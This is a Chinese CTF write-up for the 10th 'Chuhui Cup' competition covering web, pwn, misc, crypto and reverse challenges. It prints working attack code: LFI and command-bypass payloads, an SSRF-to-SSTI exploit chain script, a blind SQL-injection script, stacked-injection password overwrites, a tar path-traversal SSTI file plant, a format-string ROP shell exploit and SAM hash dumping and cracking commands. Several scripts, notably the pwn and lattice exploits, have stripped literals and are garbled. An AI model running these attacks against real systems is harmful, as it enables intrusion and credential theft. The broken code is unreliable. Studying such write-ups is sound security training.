第十届“楚慧杯”网络安全竞赛 WP 解析
第十届“楚慧杯”网络安全竞赛解题报告,涵盖签到题、Web、Pwn、Misc、Crypto、Reverse 六大板块。Web 部分涉及路径穿越、SSTI 注入及 SSRF 利用;Pwn 基于格式化字符串漏洞进行栈溢出攻击;Misc 包含隐写、零宽字符编码及压缩包处理;Crypto 挑战涉及 DSA 变种格攻击与 GCD 问题;Reverse 分析 TEA 加密及混淆脚本还原。整体展示了多种安全攻防技术与工具链的应用。

第十届“楚慧杯”网络安全竞赛解题报告,涵盖签到题、Web、Pwn、Misc、Crypto、Reverse 六大板块。Web 部分涉及路径穿越、SSTI 注入及 SSRF 利用;Pwn 基于格式化字符串漏洞进行栈溢出攻击;Misc 包含隐写、零宽字符编码及压缩包处理;Crypto 挑战涉及 DSA 变种格攻击与 GCD 问题;Reverse 分析 TEA 加密及混淆脚本还原。整体展示了多种安全攻防技术与工具链的应用。

题目内容:如果在正常样本中人为故意地掺入噪声干扰以误导智能算法,使智能算法产生错误结果,那么这种噪声干扰的样本被称为______。
题目分值:20.0
题目难度:非常容易
flag: 对抗样本
题目内容:面向整车全生命周期网络安全工程的国际标准(ISO/SAE ______(填标准编号) Road vehicles — Cybersecurity engineering),已成为车联网威胁建模与安全需求分解的主线标准。
题目分值:20.0
题目难度:非常容易
flag: 21434
题目内容:物联网设备的________管理是安全防护的关键环节,若设备私钥存储在可读写的公共存储区域,攻击者即可通过物理手段提取私钥,进而仿冒合法设备接入网络。
题目分值:20.0
题目难度:非常容易
flag: 密钥
提示存在宝箱。
目录扫描存在 robots.txt。
访问发现 Notice 报错,尝试路径穿越。
存在 WAF 过滤了常见绕过内容。
php://filter 用于读取源码。 php://input 用于执行 php 代码。
使用 php://filter 读取源代码并进行 base64 编码输出。
输入:php://filter/convert.base64-encode/resource=文件路径
拿到 base64 加密后的源码,发现存在危险后门利用 spell。
$blacklist = array(
'flag',
'php://input',
'data://',
'expect://',
'file://',
'glob://',
'phar://',
'/etc/passwd',
'/etc/shadow',
'win.ini',
'../',
'..\\',
);
foreach ($blacklist as $bad) {
if (stripos($file, $bad) !== false) {
die('❌ 魔法屏障阻止了你的尝试');
}
}
include($file);
天哪,芙芙被宝箱怪困住了,你能施法帮她脱离困境吗?
if (isset($_GET['spell'])) {
echo '🔓 解开宝箱怪的封印';
// ... 逻辑省略 ...
$forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');
foreach ($forbidden as $bad) {
if (stripos($spell, $bad) !== false) {
die('⚠️ 检测到禁忌的黑魔法!');
}
}
// ... 其他黑名单 ...
}
尝试绕过黑名单,发现可以使用 file_get_contents。
Payload: ?spell=php%20-r%20%22echo%20file_get_contents(%27/%27.%27fl%27.%27ag%27);%22
Url 编码后提交。
DASCTF{43542918692992637148528288213513}
初始功能界面。 File reader 可以读取源码,有明显的路径穿越。
后端对应 ./backend/app.py。
@app.route('/relay', methods=["POST"])
def relay():
target_port = int(request.form['port'])
payload = request.form['data']
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', target_port))
sock.send(payload.encode())
后端 /market 路由使用 render_template_string 渲染用户输入,存在 SSTI 注入。
存在 WAF 过滤多种模式。
Relay 路由可以返回 session。
传入 amount=-9223372036854775808(int64 最小值),使 session['credits'] = -9223372036854775808。
最终构造思路:SSRF -> NumPy int64 溢出 -> SSTI 注入 -> SUID 提权。
EXP:
import requests
import re
import urllib.parse
TARGET = "http://45.40.247.139:21112"
def relay(payload):
r = requests.post(TARGET + "/relay", data={"port": "5000", "data": payload})
return r.text
def get_cookie(resp):
m = re.search(r"session=([^;]+)", resp)
if not m:
raise Exception("Session cookie not found")
return m.group(1)
print("[*] Step1 初始化 backend session")
req = "GET /initialize HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"
resp = relay(req)
cookie = get_cookie(resp)
print("[*] Step2 触发 numpy int64 溢出")
req = f"""GET /hack?amount=-9223372036854775808 HTTP/1.1
Host: 127.0.0.1
Cookie: session={cookie}
"""
resp = relay(req)
cookie = get_cookie(resp)
print("[*] Step3 构造 SSTI payload")
payload = r"""{%set u=lipsum|string|batch(19)|first|last%}{%set uu=u~u%}..."""
form = f"fragment={urllib.parse.quote(payload)}"
http_req = f"""POST /market HTTP/1.1
Host: 127.0.0.1
Cookie: session={cookie}
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(form)}
{form}
"""
print("[*] Step4 发送最终 exploit")
resp = requests.post(TARGET + "/relay", data={"port": "5000", : http_req})
(resp.text)
DASCTF{19877688953357159162992897195575}
下载源码进行分析,发现两个接口有 SQL 注入点。
import requests
import binascii
import time
url = "http://45.40.247.139:30675/login"
def to_hex(s):
return ''.join(hex(ord(c))[2:] for c in s)
def blind_inject(condition):
payload = f"admin' AND ({condition}) – "
hex_payload = to_hex(payload)
data = {"username": hex_payload, "password": to_hex("a")}
try:
response = requests.post(url, data=data, allow_redirects=False)
if response.status_code == 400:
return True
elif response.status_code == 500:
return False
except:
pass
return None
堆叠注入拿到 admin 的密码 hash。
Payload: x'; UPDATE users SET email=(SELECT password FROM users WHERE username='admin') WHERE username='a'; –
然后使用 md5 长度扩展攻击。
admin 的原始长度在代码中有为 16。
使用代码生成扩展的 md5。
def length_extension(known_hash_hex, ml, ext):
# ... MD5 primitives ...
new_hash = _md5_from_state(state, ext + _pad(tl))
return new_hash, glue + ext
使用扩展的 md5 覆盖原先的 admin 的密码哈希。
Payload: x'; UPDATE users SET password='85316b33e481da3658de1697a56da2c7' WHERE username='admin'; –
任意文件覆盖,上传一个 jinja2 的 ssti 的 tar 包即可。
echo -n '{{ lipsum.globals["os"].popen("cat /flag").read() }}' > payload.txt && tar -cf - cfloit.tar --transform='s/payload.txt/../../../templates/info.html/' payload.txt
flag: DASCTF{19877688953357159162992897195575}
题目内容:Can you get a proper house
先 IDA 查看,全保护。 从栈上获得的第 8 个地址和 PIE 的偏移为 0x14a0。 rdi 与 pie 的偏移是 0x1503。 然后发现栈上第 13 个地址是 canary,构造第一个 payload 获得 puts 在内存中的地址,算出 libc 基地址然后计算得到 system 和 binsh 地址。 再次构造 payload 获得 shell。
flag: DASCTF{COngratu1at1ons_ON_Get1ing_The_R1ght_HOUse}
EXP:
from pwn import *
import os
context(os='linux', arch='amd64', log_level='info')
libdir = '/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9_amd64'
ld = libdir + '/ld-2.31.so'
path = './pwn'
p = remote('45.40.247.139', 18607)
elf = ELF(path)
libc = ELF('./libc.so.6')
def sla(a, b): p.sendlineafter(a, b)
def ru(a): p.recvuntil(a)
def sa(a, b): p.sendafter(a, b)
sla(b">> ", b"2")
sla(b"Please write your name:", b"%8$p")
ru(b"the name is:\n")
pie_leak = int(p.recvline().strip(), 16)
log.info('pie_leak:' + hex(pie_leak))
pie = pie_leak - 0x14a0
sla(b">> ", b"2")
sla(b"Please write your name:", b"%13$p")
ru(b"the name is:\n")
leak = int(p.recvline().strip(), 16)
sla(b">> ", b"2")
sla(b"Please write your name:", fmtstr_payload(6, {pie + 0x4010: 0x100}))
sla(b">> ", b"3")
rdi = pie + 0x1503
pay = b"a" * 0x48 + p64(leak) + p64(0) + p64(rdi) + p64(pie + elf.got[]) + p64(pie + elf.plt[]) + p64(pie + )
sla(, pay)
libc_base = u64(p.recvuntil()[-:].ljust(, )) - libc.sym[]
system = libc_base + libc.sym[]
binsh = libc_base + (libc.search())
sla(, )
rdi = pie +
pay = * + p64(leak) + p64() + p64(rdi) + p64(binsh) + p64(pie + ) + p64(system)
sla(, pay)
p.interactive()
题目内容:game_go 提示:原始两段边界处都有 -,拼接上,flag 不是标准 UUID 格式。
MSCF 是 Microsoft Cabinet 的文件头特征。如果能在 exe 中找到 MSCF,基本可以确定 exe 后面挂了 CAB 资源包。 解出后得到典型的 RPG Maker VX Ace 项目结构。
strings -a Weapons.rvdata2 | grep -E "DASCTF|flag|[0-9a-f-]{8,}"
所以目前可组合为:DASCTF{1168cb17-31ff-43b7-
-b586-8414d383afce}
拼接得到:flag: DASCTF{1168cb17-31ff-43b7–b586-8414d383afce}
题目提示 sam 和图片隐写。 先看 sam 文件,后缀存在明显的密文 p@s4w0rd。 System 明显的都是用户的 hash 值,尝试 impacket 提取管理员 hash 值。
impacket-secretsdump -sam sam -system system LOCAL
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
爆破匹配 Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e:::
拿到第二个密文 !checkerboard1。 题目提示隐写,尝试提取图片特征。 存在图片特征,提示 openssl 3.0.11。 用第一层密码提取 aes256。
openssl enc -d -aes-256-cbc -in AES256 -out aes.dec -pass pass:p@s4w0rd
gunzip -c aes.dec > output.tar
解压获取 flag。
DASCTF{aa28f51d-0f54-4286-af3c-86a14fbab4a4}
题目内容:混沌初开,时间流逝。 脚本来合成图片看一下右上角。
from PIL import Image, ImageOps
import numpy as np
imgs = []
for i in range(1, 9):
img = Image.open(f"{i}.png").convert("RGB")
imgs.append(np.array(img, dtype=np.uint8))
mean_img = np.mean(np.stack(imgs, axis=0), axis=0).astype(np.uint8)
Image.fromarray(mean_img).save("mean.png")
inv = ImageOps.invert(Image.fromarray(mean_img))
inv.save("mean_inv.png")
flag.txt 里面有一些零宽字符。 U+200C, U+200D, U+202C, FEFF。 每个字符对应 2 bit,4 个字符正好表示 00, 01, 10, 11。 映射关系:0x200C -> 00, 0x200D -> 01, 0x202C -> 10, 0xFEFF -> 11。 把这些 bit 拼起来,再每 8 位还原成字节。
s = open("flag.txt", "r", encoding="utf-8").read()
zw = "".join(ch for ch in s if ord(ch) in (0x200C, 0x200D, 0x202C, 0xFEFF))
mapping = {0x200C: "00", 0x200D: "01", 0x202C: "10", 0xFEFF: "11"}
bits = "".join(mapping[ord(ch)] for ch in zw)
data = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))
text = data.decode("utf-16-be")
拼接得到 DASCTF{Logistic_and_time_fly}
题目内容:Seems so many bits known! 这是一个'伪 DSA'签名,5 个 nonce 不是完全随机,而是每个字节都长成 10101xyz,也就是每字节只剩 3 位未知。这个结构足够做格攻击/隐藏数攻击来把私钥 d 解出来。
题目里 5 组签名满足 s = inverse(k,p) * (i + r*d) % p。 我把第 0 组和第 1 组签名联立,消掉私钥 d,把每个 nonce 的 32 个未知低 3 位当作 64 个小变量,构造单个模 p 的线性同余,再用 BKZ + CVP 把这 64 个变量恢复出来。
EXP:
from sage.all import *
import string
p = 71100374110712069688668891376502810245640088780564855438789152163485489371751
sigs = [(...), (...), (...), (...), (...)]
K0 = Integer(int.from_bytes(bytes([0xA8])*32,"big"))
def build_pair_equation(a, b):
r_a, s_a = map(Integer, sigs[a])
r_b, s_b = map(Integer, sigs[b])
coeffs = []
for j in range(32):
coeffs.append((r_b * s_a * (Integer(1)<<(8* j)))% p)
for j in range(32):
coeffs.append((-r_a * s_b * (Integer(1)<<(8* j)))% p)
rhs = (r_b * a - r_a * b - (r_b * s_a - r_a * s_b)* K0)% p
return coeffs, rhs
def try_recover_from_pair(a, b, X=20, block_size=30):
coeffs, rhs = build_pair_equation(a, b)
n = len(coeffs)
target = (rhs - 3*sum(coeffs))% p
B = Matrix(ZZ, n + 2, n + 2)
B[0,0]= p
for i in range(n):
B[i + 1,0]= coeffs[i]
B[i + 1, i + 1]=1
B[n + ,]= target
B[n + , n + ]= X
B = B.LLL()
: B = B.BKZ(block_size=block_size)
Exception:
uniq
pairs = [(,),(,),(,),(,),(,),(,),(,)]
X_list = [,,,,,]
found =
pair pairs:
a, b = pair
X X_list:
:
cands = try_recover_from_pair(a, b, X=X, block_size=)
Exception e:
xs cands:
res = check_candidate(pair, xs)
res :
body = res[].decode(errors=)
(,+ body +)
found =
found:
found:
flag: DASCTF{Just_f3w_Bit5_fl1pp1ng}
题目内容:又是 GCD,我该如何得到公共因数 p 的值呢 请使用"DASCTF{"+sha256(hex(p).encode()).hexdigest()[:32]+"}"计算得到 flag。
p 是 768bit 素数,q 是 1000bit 素数,e 作为噪声。 生成四个 x 满足 x=pqi+ei。 虽然 x 不是严格的 p 的倍数,但是一定也很接近。 相对于 pq,乘起来就是 1768bit 左右。 而 e 在 [-2^255, 2^255],即 256bit,所以误差 ei 其实是很小的。 攻击思路:构造某种线性组合,去把 pqi 消去,保留较小的 e,再通过格上断向量找出来。
考虑 q0x1−q1x0,展开后主项抵消,剩下 q0e1−q1e0。 取 X0 作为基准,构造如下矩阵。 LLL 后,这个关系很有可能出现在约化基中。 得到 q0~q3 后,对 x/q 以及附近的几个值做检查,选出让误差 e 都落在范围内的候选,即为 p。 最后再计算哈希即可。
EXP:
from hashlib import sha256
from sage.all import *
rho = 256
eta = 768
xs = [...]
def recover_candidates(xs):
x0 = xs[0]
B = Matrix(ZZ,[[2^(rho+1), xs[1], xs[2], xs[3]],
[0,-x0,0,0],[0,0,-x0,0],[0,0,0,-x0]])
L = B.LLL()
cands = []
for row in L.rows():
row = [ZZ(v) for v in row]
if row[0]==0: continue
if abs(row[0])%(2^(rho+1))!=0: continue
q0 = abs(row[0])//(2^(rho+1))
if q0 <= 0: continue
# ... verify and recover p ...
return uniq
cands = recover_candidates(xs)
for i,(p, qs, es) in enumerate(cands):
print(f"flag = ")
flag: eead8ea2b3519a2273a5292375e31009
打开先查找字符串信息,发现 wrong flag right flag 字符串,判断可能为判断逻辑直接定位到附近。 发现 sub_401522 可能为函数判断逻辑,进去后发现 sub_402B68 是一个最终验证函数,把前面已经处理过的输入,和程序内置的 40 字节目标数组逐字节比较。 sub_4014F0(v4) 很明显就是对输入做处理的函数。 这些是按小端序存放的,因此展开后的 40 字节目标数组为:33 56 e8 01 6f 84 e4 a3 43 73 8e 26 5e f0 fd a1 15 75 88 20 08 a4 a6 a5 15 75 88 23 5d f0 fa f0 41 71 de 75 09 a1 f9 e8。 程序最后比较的是经过处理后的输入与这 40 字节是否完全一致。 进去后发现 4014f0 不是直接处理数据,而是通过对象/虚表调用两个函数,大概率应该生成 key 应该处理用户输入。 这是一段 TEA 风格的变换代码。 a1[2] = 0x18274A3A, a1[3] = 0x24F8D42F, a1[4] = 0x9C8793BF, a1[5] = 0xBB5C1044, a1[6] = 0x2FEA4F74, a1[7] = 0xA142ED8B。 经过 32 轮后,得到:5C FC A0 27 20 A7 84 7A。 还原脚本:
import struct
target = bytes.fromhex("3356e8016f84e4a343738e265ef0fda11575882008a4a6a5157588235df0faf04171de7509a1f9e8")
k1 = 0x27A0FC5C
k2 = 0x7A84A720
key = struct.pack("<II", k1, k2)
flag = bytes([target[i] ^ ((key[i % 8] + 0x1B) & 0xFF) for i in range(40)])
print(flag.decode())
运行结果:DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}
直接拖进 IDA 观察,可以发现这不是常规的 PE/ELF 可执行文件,而是一个纯文本脚本文件,而且内容是大量类似下面这种奇怪变量名的拼接形式。
这种特征非常像 PowerShell 混淆脚本,本质是用变量名代替数字,再拼出 [char]99+[char]108+… 这种字符流,最后动态执行。
结合整体格式可以判断:${]} -> 0, ${!;} -> 1, ${@ } -> 2, ${=} -> 3, ${ \]} -> 4, ${!} -> 5, ${#.} -> 6, ${(} -> 7, ${)} -> 8, ${```*%} -> 9。
而 {%} 被构造成了:[char]。
于是原始大串内容实际上等价于:[char]99+[char]108+[char]97+[char]115+[char]115+…
import re
with open("eazy_code", "r", encoding="utf-8", errors="ignore") as f:
raw = f.read()
m = re.search(r'${@*}\s*=\s*"(.*)"\s*|\s*.${-``}', raw, re.S)
payload = m.group(1)
mp = {'${\]}': '0', '${!;*}': '1', '${*@ }': '2', '${=`'}': '3', '${ \]}': '4', '${!}': '5', '${#.}': '6', '${(}': '7', '${)``}': '8', '${```*%}': '9', '{%}': '[char]'}
for k in sorted(mp, key=len, reverse=True):
payload = payload.replace(k, mp[k])
nums = re.findall(r'[char](\[0-9\]+)', payload)
decoded = ''.join(chr(int(x)) for x in nums)
with open("stage2.txt", "w", encoding="utf-8") as f:
f.write(decoded)
运行后可以得到真正的第二层代码,开头如下:
class chiper():
def __init__(self):
self.d = 0x87654321
k0 = 0x67452301
k1 = 0xefcdab89
k2 = 0x98badcfe
k3 = 0x10325476
self.k = [k0, k1, k2, k3]
这说明表面是 PowerShell,实际隐藏的核心逻辑是一段 Python 校验器。 后面 check() 函数中有目标数组 ans = [1374278842, 2136006540, 4191056815, 3248881376]。 并且有长度限制:if length % 8: exit(1),说明输入长度必须是 8 的倍数。 bytes2ints() 会把输入按每 8 字节分组,再拆成两个 little-endian 的 uint32。 而 ans 一共 4 个 uint32,因此原始输入长度应为:4 个 uint32 = 16 字节。 即 flag 内部实际输入应为 16 个字符,程序采用自定义 XXTEA/Block TEA 变种对输入进行加密,再与固定数组 ans 比较,满足则输出。 既然 ans 是加密后的 4 个 uint32,那么只要把这个过程逆过来,就能得到原始 16 字节输入。
from ctypes import c_uint32
import struct
def MX(z, y, total, key, p, e):
temp1 = (z.value >> 6 ^ y.value << 4) + (y.value >> 2 ^ z.value << 5)
temp2 = (total.value ^ y.value) + (key[(p & 3) ^ e.value] ^ z.value)
return c_uint32(temp1 ^ temp2)
def decrypt(v, key, delta):
n = len(v)
rounds = 6 + 52 // n
total = c_uint32((rounds * delta) & 0xffffffff)
v = [c_uint32(x).value for x in v]
while rounds > 0:
e = c_uint32((total.value >> 2) & 3)
z = c_uint32(v[n - 2])
y = c_uint32(v[0])
v[n - 1] = c_uint32(v[n - 1] - MX(z, y, total, key, n - 1, e).value).value
for p in range(n - 2, -1, -1):
z = c_uint32(v[p - 1] if p > 0 else v[n - 1])
y = c_uint32(v[p + 1])
v[p] = c_uint32(v[p] - MX(z, y, total, key, p, e).value).value
total.value = c_uint32(total.value - delta).value
rounds -= 1
return v
key = [0x67452301, 0xefcdab89, 0x98badcfe, ]
ans = [, , , ]
plain = decrypt(ans, key, )
flag_inner = struct.pack(, *plain).decode()
(flag_inner)
运行结果:flag:yOUar3g0oD@tPw5H

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
生成新的随机RSA私钥和公钥pem证书。 在线工具,RSA密钥对生成器在线工具,online
基于 Mermaid.js 实时预览流程图、时序图等图表,支持源码编辑与即时渲染。 在线工具,Mermaid 预览与可视化编辑在线工具,online
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online